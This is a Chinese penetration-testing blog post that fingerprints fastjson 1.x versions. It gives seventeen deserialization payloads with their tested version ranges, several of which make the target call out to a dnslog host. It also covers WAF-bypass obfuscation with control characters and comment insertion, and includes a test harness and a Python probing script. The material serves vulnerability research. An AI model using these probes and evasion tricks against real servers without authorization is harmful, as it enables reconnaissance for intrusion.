fastjson之各个版本payload测试

admin 2024年2月25日23:46:50评论22 views字数 12265阅读40分53秒阅读模式

每次测试遇到fastjson无法定位版本,部分文章里的payload也没有准确的版本范围,抽空对payload做了个测试,这里记录下

0x00 概述

使用常见的payload对fastjson版本进行测试,方便遇到fastjson进行较小范围的版本判断,使用bypass字符绕过等等,文末有修改的fastjson版本探测小工具

0x01 背景

测试过程中,会遇到很多json进行传输的站点,有jackson、fastjson等等,但是这些当中,有漏洞的概率最大的还是fastjson。

确定fastjson的版本是攻击fastjson的第一步,很多的文章只是一笔带过,如下面这种

fastjson之各个版本payload测试

没有明确到某些版本,又或者是明确了版本,但是可能不是正确的,导致基础比较薄弱的师傅对fastjson的利用较为困难,实际上fastjson并不是只能命令执行,在某些版本中还可以文件读取、ssrf等等。本篇文章记录下常见的payload对于一些版本的判断测试

0x02 测试具体方法

用pom把所有版本的fastjson下载了,然后在fastjson文件夹下执行这个命令,把fastjson固定在一个文件内,通过反射装载jar,调用完以后卸载

find . -name "*.jar" -type f -exec cp  {} /Users/f0ng/xxxxxx/ ;

调用fastjson包的原理为 使用反射获取请求里传来的版本参数,从而动态调用相应版本的fastjson进行解析,解析完毕以后自动卸载

测试涵盖fastjson1所有版本

fastjson之各个版本payload测试
fastjson之各个版本payload测试

测试版本如下:

1_2_83
1_2_80
1_2_79
1_2_78
1_2_77
1_2_76
1_2_75
1_2_74
1_2_73
1_2_72
1_2_71
1_2_70
1_2_69
1_2_68
1_2_67
1_2_66
1_2_62
1_2_61
1_2_60
1_2_59
1_2_58
1_2_57
1_2_56
1_2_55
1_2_54
1_2_53
1_2_52
1_2_51
1_2_50
1_2_49
1_2_48
1_2_47
1_2_46
1_2_45
1_2_44
1_2_43
1_2_42
1_2_41
1_2_40
1_2_39
1_2_38
1_2_37
1_2_36
1_2_35
1_2_34
1_2_33
1_2_32
1_2_31
1_2_30
1_2_29
1_2_28
1_2_27
1_2_26
1_2_25
1_2_24
1_2_23
1_2_22
1_2_21
1_2_20
1_2_19
1_2_18
1_2_17
1_2_16
1_2_15
1_2_14
1_2_13
1_2_12
1_2_11
1_2_10
1_2_9
1_2_8
1_2_7
1_2_6
1_2_5
1_2_4
1_2_3
1_2_2
1_2_1

python脚本如下

# -*- coding: utf-8 -*-  
# @Software: f0ng  
  
fastjosn_version = ["1_2_83",  
"1_2_80",  
"1_2_79",  
"1_2_78",  
"1_2_77",  
"1_2_76",  
"1_2_75",  
"1_2_74",  
"1_2_73",  
"1_2_72",  
"1_2_71",  
"1_2_70",  
"1_2_69",  
"1_2_68",  
"1_2_67",  
"1_2_66",  
"1_2_62",  
"1_2_61",  
"1_2_60",  
"1_2_59",  
"1_2_58",  
"1_2_57",  
"1_2_56",  
"1_2_55",  
"1_2_54",  
"1_2_53",  
"1_2_52",  
"1_2_51",  
"1_2_50",  
"1_2_49",  
"1_2_48",  
"1_2_47",  
"1_2_46",  
"1_2_45",  
"1_2_44",  
"1_2_43",  
"1_2_42",  
"1_2_41",  
"1_2_40",  
"1_2_39",  
"1_2_38",  
"1_2_37",  
"1_2_36",  
"1_2_35",  
"1_2_34",  
"1_2_33",  
"1_2_32",  
"1_2_31",  
"1_2_30",  
"1_2_29",  
"1_2_28",  
"1_2_27",  
"1_2_26",  
"1_2_25",  
"1_2_24",  
"1_2_23",  
"1_2_22",  
"1_2_21",  
"1_2_20",  
"1_2_19",  
"1_2_18",  
"1_2_17",  
"1_2_16",  
"1_2_15",  
"1_2_14",  
"1_2_13",  
"1_2_12",  
"1_2_11",  
"1_2_10",  
"1_2_9",  
"1_2_8",  
"1_2_7",  
"1_2_6",  
"1_2_5",  
"1_2_4",  
"1_2_3",  
"1_2_2",  
"1_2_1"]  
  
import requests  
  
def convert_to_ranges(versions):  
    ranges = []  
    start = end = versions[0]  
  
    for v in versions[1:] + [None]:  
        # 将版本号字符串转换为数字列表  
        parts = list(map(int, v.split('_'))) if v is not None else None  
        end_parts = list(map(int, end.split('_')))  
  
        # 检查版本是否连续  
        if parts is not None and parts[0] == end_parts[0]   
           and parts[1] == end_parts[1and parts[2] == end_parts[2] - 1:  
            end = v  
        else:  
            # 如果只有一个版本,只添加这个版本  
            if start == end:  
                ranges.append(start)  
            else:  
                ranges.append(f"{end}-{start}")  
            if v is not None:  
                start = end = v  
    return ranges  
  
  
  
burp0_url = "https://callback.red:443/"  
burp0_headers = {"Pragma""no-cache""Cache-Control""no-cache""Sec-Ch-Ua"""Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"""Sec-Ch-Ua-Platform"""macOS"""Sec-Ch-Ua-Mobile""?0""User-Agent""Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36""Content-Type""application/x-www-form-urlencoded""Accept""*/*""Origin""https://www.callback.red""Sec-Fetch-Site""same-site""Sec-Fetch-Mode""cors""Sec-Fetch-Dest""empty""Referer""https://www.callback.red/""Accept-Encoding""gzip, deflate, br""Accept-Language""zh-CN,zh;q=0.9,en;q=0.8""Connection""close"}  
  
burp0_data = {"key":  
                  "xxxxxxxxx"}  
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)  
  
  
total = []  
for _ in fastjosn_version:  
    if  _.replace(".","_")+"." not in resp.text :  
        total.append(_)  
  
  
if len(total) > 0:  
    # 调用函数并打印结果  
    version_ranges = convert_to_ranges(total)  
else:  
    version_ranges = "无"  
print("不可用版本")  
print(version_ranges)

主要流程

  1. 将fastjson的payload准备好,动态加载参数version设置为变量,payload的dnslog设置为变量,字典为版本号,进行intruder爆破
  2. 在dnslog平台查看相应的版本号,如果没有相应的版本,则表示相应版本无法使用payload进行dnslog获取

jsp源码如下

<%@ page import="java.io.InputStreamReader" %>  
<%@ page import="java.io.BufferedReader" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="java.net.URL" %>  
<%@ page import="java.net.URLClassLoader" %>  
<%@ page import="java.lang.reflect.Method" %>  
  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%--测试fastjson各个版本payload、bypass字符--%>  
<%  
      // JAR文件的路径  
      URL jarUrl = new URL("file:///Users/f0ng/fastjsonjars/fastjson-"+request.getParameter("version").replace("_",".")+".jar");  
// 父类加载器,可以用当前线程的类加载器等  
      ClassLoader parentClassLoader = Thread.currentThread().getContextClassLoader();  
// 创建URLClassLoader实例以加载JAR  
      URLClassLoader classLoader = new URLClassLoader(new URL[]{jarUrl}, parentClassLoader);  
  
      Class var8 = classLoader.loadClass("com.alibaba.fastjson.JSONArray");  
      Field var9 = var8.getField("VERSION");  
      String var10 = (String)var9.get("");  
  
  
      response.setHeader("version",var10);  
  
      BufferedReader br = new BufferedReader(new InputStreamReader((ServletInputStream) request.getInputStream(), "utf-8"));  
  
      StringBuffer sb = new StringBuffer("");  
      String temp;  
  
      while ((temp = br.readLine()) != null) {  
            sb.append(temp);  
      }  
  
      br.close();  
      String params = sb.toString();  
  
 out.print(params);  
 Class var81 = classLoader.loadClass("com.alibaba.fastjson.JSON");  
 Method parseMethod = var81.getMethod("parse", String.class);  
 Object result = parseMethod.invoke(null, params);  
 classLoader.close();  
%>

dnslog的payload流程如上,其他类型,如报错、回显这种也类似

测试的时候,在响应头可以看到相应的fastjson版本

fastjson之各个版本payload测试

在响应平台获取到相应记录

fastjson之各个版本payload测试

0x03 判断版本payload

测试的一切payload均采用fastjson的默认配置,本次测试只用到了com.alibaba.fastjson.JSON.parse()函数

payload 1(dns请求)【fastjson>=1.2.37】

{"@type":"com.alibaba.fastjson.JSONObject", {"@type""java.net.URL""val":"http://§1§.{{URL}}"}}""}

经测试,可用范围1.2.37-1.2.83,即fastjson版本>=1.2.37

fastjson之各个版本payload测试

payload 2(dns请求)【fastjson>=1.2.37】

{{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}:0

经测试,可用范围1.2.37-1.2.83,即fastjson版本>=1.2.37

fastjson之各个版本payload测试

payload 3(dns请求)【fastjson>=1.2.9】

Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}]

经测试,可用范围1.2.9-1.2.83,即fastjson版本>=1.2.9

fastjson之各个版本payload测试

payload 4(dns请求)【fastjson>=1.2.9】

Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}

经测试,可用范围1.2.9-1.2.83,即fastjson版本>=1.2.9

fastjson之各个版本payload测试

payload 5(dns请求)【1.2.9<=fastjson<=1.2.47】

{"name":{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}}

经测试,可用范围1.2.47以下,1.2.9以上,即1.2.9<=fastjson版本<=1.2.47

fastjson之各个版本payload测试

payload 6(dns请求)【fastjson>=1.2.9】

[{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]

经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9

fastjson之各个版本payload测试

payload 7(http请求)【1.2.37<=fastjson<=1.2.68】

{"a":{"@type":"java.lang.AutoCloseable","@type":"com.alibaba.fastjson.JSONReader","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://§1§.{{URL}}"}}}

经测试,可用范围1.2.68以下,1.2.37以上,即1.2.37<=fastjson版本<=1.2.68

fastjson之各个版本payload测试

payload 8(dns请求)【fastjson>=1.2.9以及fastjson=1.2.83】

[{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.80.{{URL}}"}}},{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.83.{{URL}}"}}}]

经测试,带有83的dnslog记录只会在fastjson 1.2.83中出现

fastjson之各个版本payload测试

带有80的dnslog记录,可用范围1.2.9以上

fastjson之各个版本payload测试

payload 9(dns请求)【1.2.9<=fastjson<=1.2.68】

[{"@type""java.lang.AutoCloseable","@type""java.io.ByteArrayOutputStream"},{"@type""java.io.ByteArrayOutputStream"},{"@type""java.net.InetSocketAddress"{"address":,"val""§1§.{{URL}}"}}]

经测试,可用范围1.2.9以上,1.2.68以下,即1.2.9<=fastjson版本<=1.2.68

fastjson之各个版本payload测试

payload 10(dns请求)【1.2.9<=fastjson<=1.2.47】

{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}

经测试,可用范围1.2.9以上,1.2.47以下,即1.2.9<=fastjson版本<=1.2.47

fastjson之各个版本payload测试

payload 11(dns请求)【fastjson>=1.2.9】

单独的两条

{"@type":"java.net.Inet4Address","val":"§1§.{{URL}}"}

{"@type":"java.net.Inet6Address","val":"§1§.{{URL}}"}

经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9

fastjson之各个版本payload测试

payload 12(dns请求)【fastjson>=1.2.9】

{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}

经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9

fastjson之各个版本payload测试

payload 13(dns请求)【1.2.9<=fastjson<=1.2.24以及1.2.40<=fastjson<=1.2.47】

[{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},{"@type":"java.io.ByteArrayOutputStream"},{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]

经测试,可用范围1.2.9以上,1.2.24以下或者1.2.40以上,1.2.47以下,即1.2.9<=fastjson版本<=1.2.24或者1.2.40<=fastjson版本<=1.2.47

fastjson之各个版本payload测试

payload 14(报错)【fastjson<=1.2.24以及fastjson=1.2.83】

{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}}

经测试,在fastjson<=1.2.24以及fastjson=1.2.83的时候不会报错,其余均报错

fastjson之各个版本payload测试
fastjson之各个版本payload测试

payload 15(报错)【fastjson<=1.2.68】

{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}}

经测试,在fastjson<=1.2.68的时候不会报错,其余均报错

fastjson之各个版本payload测试

payload 16(报错) 【1.2.9<=fastjson<=1.2.47】

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}

经测试,在1.2.9<=fastjson<=1.2.47的时候不会报错,其余均报错

fastjson之各个版本payload测试

payload 17(报错) 【fastjson<=1.2.47】

{"zero": {"@type""com.sun.rowset.JdbcRowSetImpl"}}

经测试,在fastjson<=1.2.47的时候不会报错,其余均报错

fastjson之各个版本payload测试

0x04 判断bypass字符

测试的payload为dnslog下,payload选取较为通用的{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}【在fastjson版本>=1.2.9下都可以使用】

payload 1

a、n、b、r、f、t

com.alibaba.fastjson.parser.JSONLexerBase代码

fastjson之各个版本payload测试

r即为十六进制的0x0dn即为十六进制的0x0at即为十六进制的0x09a即为十六进制的0x07b即为十六进制的0x08f即为十六进制的0x0c 0x0b

不影响@type前提下

payload如下

fastjson之各个版本payload测试

经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9

fastjson之各个版本payload测试

特殊字符的base64编码为DQoJDAsHDA==

影响@type前提下

这里经过测试,如果把字符串中的0x07以及0x0b去除,可以加在"@type":"java.net.InetSocketAddress"不影响json的解析,反之,则会造成500错误

fastjson之各个版本payload测试

即以下payload是可以发出请求的

fastjson之各个版本payload测试

base64编码为ew0KCQwMIkB0eXBlIg0KCQwMOg0KCQwMImphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzIg0KCQwLBwx7DQoJDAsHDCJhZGRyZXNzIg0KCQwLBww6DQoJDAsHDCwNCgkMCwcMInZhbCINCgkMCwcMOg0KCQwLBwwiMjIyMjIubmxuMC5jYWxsYmFjay5yZWQifX0=

经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9

fastjson之各个版本payload测试

另外也可以这样使用,每个字符加rn进行换行,其他字符不行

fastjson之各个版本payload测试
结论
  • r即为十六进制的0x0d,可任意使用
  • n即为十六进制的0x0a,可任意使用
  • t即为十六进制的0x09,可任意使用
  • a即为十六进制的0x07,在@type及其值附近不允许使用
  • b即为十六进制的0x08,可任意使用
  • f即为十六进制的0x0c,可任意使用
  • 0x0b,在@type及其值附近不允许使用

payload 2

/*{*/ 注释符

{/*{*/"@type"/*{*/:/*{*/"java.net.InetSocketAddress"/*{*/{/*{*/"address":/*{*/,/*{*/"val"/*{*/:"33.bnoo.callback.red"/*{*/}/*{*/}

经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9

fastjson之各个版本payload测试

使用另一个payload

[{"@type"/*{*/:/*{*/"java.lang.Exception","@type":/*{*/"com.alibaba.fastjson.JSONException","x":/*{*/{"@type"/*{*/:/*{*/"java.net.InetSocketAddress"{"address"/*{*/:/*{*/,"val"/*{*/:/*{*/"4321111.hu7g.callback.red"}}},{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"83.hu7g.callback.red"}}}]

不允许注释符的地方

"@type":"com.alibaba.fastjson.JSONException"
"x":
fastjson之各个版本payload测试
fastjson之各个版本payload测试

payload n

还有很多可以混淆的方法,诸如加逗号、unicode编码、hex编码(x)、单双引号、下划线(FastJson 会自动把下划线命名的 Json 字符串转化到驼峰式命名的 Java 对象字段中)等等

0x05 测试结论

大致通过对payload的测试得到了一些判断fastjson版本范围的payload,但是怎么在日常测试中能运用到呢,这里有两个工具

FastjsonScan

得益于以上payload的版本范围从而可以对工具进行版本的修改,这里简单修改了a1phaboy师傅的工具https://github.com/a1phaboy/FastjsonScan测试截图如下(在无法报错获取版本号的前提下)

fastjson之各个版本payload测试
fastjson之各个版本payload测试

大于等于1.2.47小于等于1.2.68,调用的为1.2.68,满足条件

fastjson之各个版本payload测试

大于等于1.2.9小于等于1.2.37,调用的为1.2.28,满足条件

fastjson之各个版本payload测试

大于等于1.2.68,调用的为1.2.80,满足条件

fastjson之各个版本payload测试

调用的为1.2.83,满足条件

这里放出一个扫描fastjson版本的,更改了dnslog,增加了get、postapplication/x-www-form-urlencoded传参的利用方式,公众号回复fastjsonscan即可获得

poc2jar

poc2jar中也集成了大致判断的判断

fastjson之各个版本payload测试

复制payload到intruder中,进行爆破

fastjson之各个版本payload测试

根据结果大致判断为大于9小于47[大于9小于24或者大于40小于47],发现结果中没有dayu37xiaoyu68,故fastjson版本为大于9小于24,排除37-47的可能,调用的版本为1.2.24,满足条件

fastjson之各个版本payload测试

0x06 总结

  1. 关于fastjson的版本确定一直是从其他师傅的文章、工具里来看到的,通过本地靶场搭建实操与文章里的有些结论还是有一定出入的,测试并非全面,也并非完全正确,如果有错误的,还请师傅们斧正
  2. 测试环境的搭建也是灵光一现,希望可以作为案例给其他师傅进行组件版本测试中进行参考

0x07 引用

https://blog.csdn.net/m0_71692682/article/details/125814861 abc123师傅关于fastjson文章《# 第18篇:fastjson反序列化漏洞区分版本号的方法总结》

https://github.com/alibaba/fastjson/issues/3077 大师傅们对畸形payload的探讨

https://github.com/safe6Sec/Fastjson safe6Sec师傅对fastjson的总结

https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/ y4tacker师傅对fastjson bypass的总结

https://github.com/a1phaboy/FastjsonScan a1phaboy师傅的的fastjson扫描版本工具

https://drun1baby.top/2022/10/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8705-%E5%86%99%E7%BB%99%E8%87%AA%E5%B7%B1%E7%9C%8B%E7%9A%84%E4%B8%80%E4%BA%9B%E6%BA%90%E7%A0%81%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90/ Drunkbaby师傅对于fastjson源码的分析

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA kezibei师傅对于盲判断fastjson版本的文章

https://github.com/f0ng/poc2jar poc2jar工具


原文始发于微信公众号(only security):fastjson之各个版本payload测试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月25日23:46:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson之各个版本payload测试http://cn-sec.com/archives/2524448.html

发表评论

匿名网友 填写信息